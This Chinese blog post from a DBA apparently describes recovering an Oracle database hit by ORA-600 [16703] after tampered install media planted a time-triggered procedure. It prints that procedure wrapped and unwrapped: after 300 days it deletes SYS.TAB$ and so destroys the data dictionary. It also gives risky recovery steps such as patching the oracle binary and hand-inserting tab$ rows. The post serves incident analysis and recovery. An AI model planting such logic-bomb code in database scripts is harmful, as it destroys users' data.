首页 » ORACLE 9i-23c » 介质污染 ORA-00600: internal error code, arguments: [16703], [1403], [20] 修复

介质污染 ORA-00600: internal error code, arguments: [16703], [1403], [20] 修复

如果你不幸数据库在启动时提示ora-600 16703,那很可能是从网上下载安装的oracle数据库软件安装介质中被人篡改了, 增加了启动时判断启动时间,然后删除tab$数据字典的老套的破坏方法, 这个网上的修复方法很多,情况有时也不同,建议找专业人事修复且不要造成二次破坏,这种如果只是最初的版本,修复还是相对比较简单,顺利的话个半小时,0数据丢失恢复。

问题现象

SQL> alter database open;
alter database open
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 8383
Session ID: 576 Serial number: 3

查找方法

$ cd $ORACLE_HOME/rdbms/admin/
$ grep -i dbms_support_dbmonitorp *
prvtsupp.plb:create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
prvtsupp.plb:   DBMS_SUPPORT_DBMONITORP;

一般会是在prvtsuup.plb文件中创建procedure和trigger

create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
369
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==
/

unwrap后为

   1 PROCEDURE DBMS_SUPPORT_DBMONITORP IS
    2 DATE1 INT :=10;
    3 BEGIN 
    4    SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
    5    IF (DATE1>=300) THEN 
    6    EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';
    7    DELETE SYS.TAB$;
    8    COMMIT;
    9    EXECUTE IMMEDIATE 'alter system checkpoint';
   10    END IF;
   11 END;

如果做一些特殊处理,untruncate后,可以尝试启动.

问题1 ORA-00913错误恢复

对于提示ORA-00913: too many values, 同样可以做10046, 启动过程发现对SYS_FBA_TRACKEDTABLES表的insert报告

PARSE ERROR #140275116997968:len=70 dep=1 uid=0 oct=2 lid=0 tim=1531713543033057 err=913
insert into SYS_FBA_TRACKEDTABLES values (-1, -1, 0, '', '', 1, NULL)
Flashback Archive: Error ORA-913 in SQL 
insert into SYS_FBA_TRACKEDTABLES values (-1, -1, 0, '', '', 1, NULL)

从名字判断是闪回数据归档所用的表,可以临时让启动中使用gdb配置断点kebm_enable_restricted_session, 查询dba_flashback_archive与dba_flashback_archive_tables,发现并无数据,尝试使用参数禁用该特性

alter system set "_disable_flashback_archiver"=1 scope=spfile;

然并卵, 那是因为在oracle的(oracle.ext oracle binary file)执行文件中有select count(OBJ#) from SYS_FBA_TRACKEDTABLES where bitand(FLAGS, %d)!=0记录返回=0时,就执行1次insert。通常是tab$中缺失SYS_FBA_TRACKEDTABLES记录, 这里有两种解决方法:
1,使用ue工具修改oracle binary file,把select count(OBJ#) from SYS_FBA_TRACKEDTABLES where bitand(FLAGS, %d)!=0 更换为select 1 from dual; 使用新的oracle执行文件启动数据库, windows中里需要把注册表中的ORA_<实例名>_autostart key改为false, 禁用自启动。
2,找一个相同版本补充 insert tab$

insert into sys.tab$ (OBJ#, DATAOBJ#, TS#, FILE#, BLOCK#, BOBJ#, TAB#, COLS, CLUCOLS, PCTFREE$, PCTUSED$, INITRANS, MAXTRANS, FLAGS, AUDIT$, ROWCNT, BLKCNT, EMPCNT, AVGSPC, CHNCNT, AVGRLN, AVGSPC_FLB, FLBCNT, ANALYZETIME, SAMPLESIZE, DEGREE, INSTANCES, INTCOLS, KERNELCOLS, PROPERTY, TRIGFLAG, SPARE1, SPARE2, SPARE3, SPARE4, SPARE5, SPARE6) values (1304, 1304, 0, 1, 8120, null, null, 7, null, 10, 40, 1, 255, 529, ‘————————————–’, 1, 1, 0, 0, 0, 13, 0, 0, to_date(’24-08-2013 11:43:19′, ‘dd-mm-yyyy hh24:mi:ss’), 1, null, null, 7, 7, 9126805504, 0, 736, null, null, null, null, to_date(’24-08-2013 18:37:48′, ‘dd-mm-yyyy hh24:mi:ss’));

问题2 ORA-39700恢复

SQL> alter database open;
alter database open resetlogs

*

ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-39700 database must be opened with UPGRADE option
Process ID: 76308
Session ID: 149 Serial number: 3

在启动过程遇到到的错误,可以启用10046 trace跟踪。如上会发现是在校验registry$。通常情况是这种可以startup upgrade, 然后执行:$ORACLE_HOME/rdbms/admin/catupgrd.sql 补充数据字典,但是也可能是因为tab$中缺失了registry$的记录,无法查询,或没有segment header信息。

如果可以建议跑一下hcheck.sql 检查一下数据字典错误。

如果没有修复,只能upgrade启动,这时expdp也不可用,可以尝试使用exp导出,注意延迟段创建与interval parition是exp不支持的,可以手动allocate extent和改interval partition到range partition.

imp userid=\’/ as sysdba\’ fromuser=query_user touser=system file=t.dmp

启库以后要及时删除污染对象

select 'DROP TRIGGER   '||owner||'."'||TRIGGER_NAME||'";'
from dba_triggers
where TRIGGER_NAME like 'DBMS%INTERNAL% '
union all
select 'DROP PROCEDURE   '||owner||'."'||a.object_name||'";'
from dba_procedures a
where a.object_name like 'DBMS%INTERNAL% ';

还有一种可以使用dul, odu等工具,因为tab$补清理,需要手动编辑一些信息,如unload table data18 obj$记录,从中查找orachkxxx开头对象, 然后编辑tab$ 构建dul、odu抽数所需要的dict信息,就可以正常抽数了。

119342,119342,84,BIN$NNfR7ZyeQJKkVTMENznIkQ==$0,,2
119600,119600,0,ORACHKA664A70B5E4199DA6FFD8CB,,2
119344,119344,0,WRH$_FILESTATXS,WRH$_FILEST_1460690384_8981,19

当然有些问题比这还要复杂的多, 如果您遇到了的错误,建议联系专业人员恢复, 有需要可以联系www.anbob.com首页联系方式协助恢复。

— OVER —

打赏

, ,

对不起,这篇文章暂时关闭评论。